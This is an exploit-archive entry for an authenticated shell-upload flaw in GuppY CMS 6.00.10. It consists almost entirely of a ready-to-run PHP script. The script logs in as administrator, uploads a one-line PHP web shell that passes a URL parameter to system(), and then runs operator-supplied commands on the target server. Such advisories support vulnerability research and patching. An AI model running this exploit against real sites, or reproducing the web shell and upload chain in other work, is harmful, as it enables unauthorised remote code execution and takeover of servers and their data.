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GuppY CMS 6.00.10 Shell Upload

GuppY CMS 6.00.10 Shell Upload
Posted Oct 1, 2022
Authored by Chokri Hammedi

GuppY CMS version 6.00.10 suffers from an authenticated remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 7379f5703f8c8447e89b8393459ce54d04deb30eed715a6df6b281a1b380609b

GuppY CMS 6.00.10 Shell Upload

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# Exploit Title: GuppY 6.00.10 CMS Remote Code Execution
# Date: Sep 30, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.freeguppy.org/
# Software Link:
https://www.freeguppy.org/fgy6dn.php?lng=en&pg=279927&tconfig=0#z2
# Version: 6.00.10
# Tested on: Linux

#!/usr/bin/php

<?php

$username = "Admin"; //Administrator username
$password = "rose1337"; //Administrator password


$options = getopt('u:c:');

if(!isset($options['u'], $options['c']))
die("\n GuppY 6.00.10 CMS Remote Code Execution \n Author: Chokri Hammedi
\n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n

\n");

$target = $options['u'];

$command = $options['c'];

// Administrator login

$cookie="cookie.txt";
$url = "{$target}guppy/connect.php";

$postdata = "connect=on&uuser=old&pseudo=".$username."&uid=".$password;
$curlObj = curl_init();

curl_setopt($curlObj, CURLOPT_URL, $url);
curl_setopt($curlObj, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curlObj, CURLOPT_HEADER, 1);
curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt ($curlObj, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($curlObj, CURLOPT_POST, 1);
CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);
CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);
CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);
curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");
curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");
$result = curl_exec($curlObj);


// uploading shell

$url2 = "{$target}guppy/admin/admin.php?lng=en&pg=upload";

$post='------WebKitFormBoundarygA1APFcUlkIaWal4
Content-Disposition: form-data; name="rep"

file
------WebKitFormBoundarygA1APFcUlkIaWal4
Content-Disposition: form-data; name="ficup"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET["cmd"]); ?>

------WebKitFormBoundarygA1APFcUlkIaWal4--
';

$headers = array(


'Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarygA1APFcUlkIaWal4',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',

'Accept-Encoding: gzip, deflate',
'Accept-Language: en-US,en;q=0.9'
);
curl_setopt($curlObj, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curlObj, CURLOPT_URL, $url2);
curl_setopt($curlObj, CURLOPT_POSTFIELDS, $post);
curl_setopt($curlObj, CURLOPT_POST, true);
curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false);
CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True);
CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30);
CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30);
curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie");
curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie");

$data = curl_exec($curlObj);


// Executing the shell


$shell = "{$target}guppy/file/shell.php?cmd=" .$command;
curl_setopt($curlObj, CURLOPT_URL, $shell);
curl_setopt($curlObj, CURLOPT_HTTPHEADER, array('Content-Type:
application/x-www-form-urlencoded'));
curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, False);
CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True);
curl_setopt($curlObj, CURLOPT_HEADER, False);
curl_setopt($curlObj, CURLOPT_POST, false);

$exec_shell = curl_exec($curlObj);

$code = curl_getinfo($curlObj, CURLINFO_HTTP_CODE);

if($code != 200) {
echo "\n\n \e[5m\033[31m[-]Something went wrong! \n [-]Please check the
credentials\n";
}
else {

print("\n");
print($exec_shell);

}
curl_close($curlObj);

?>
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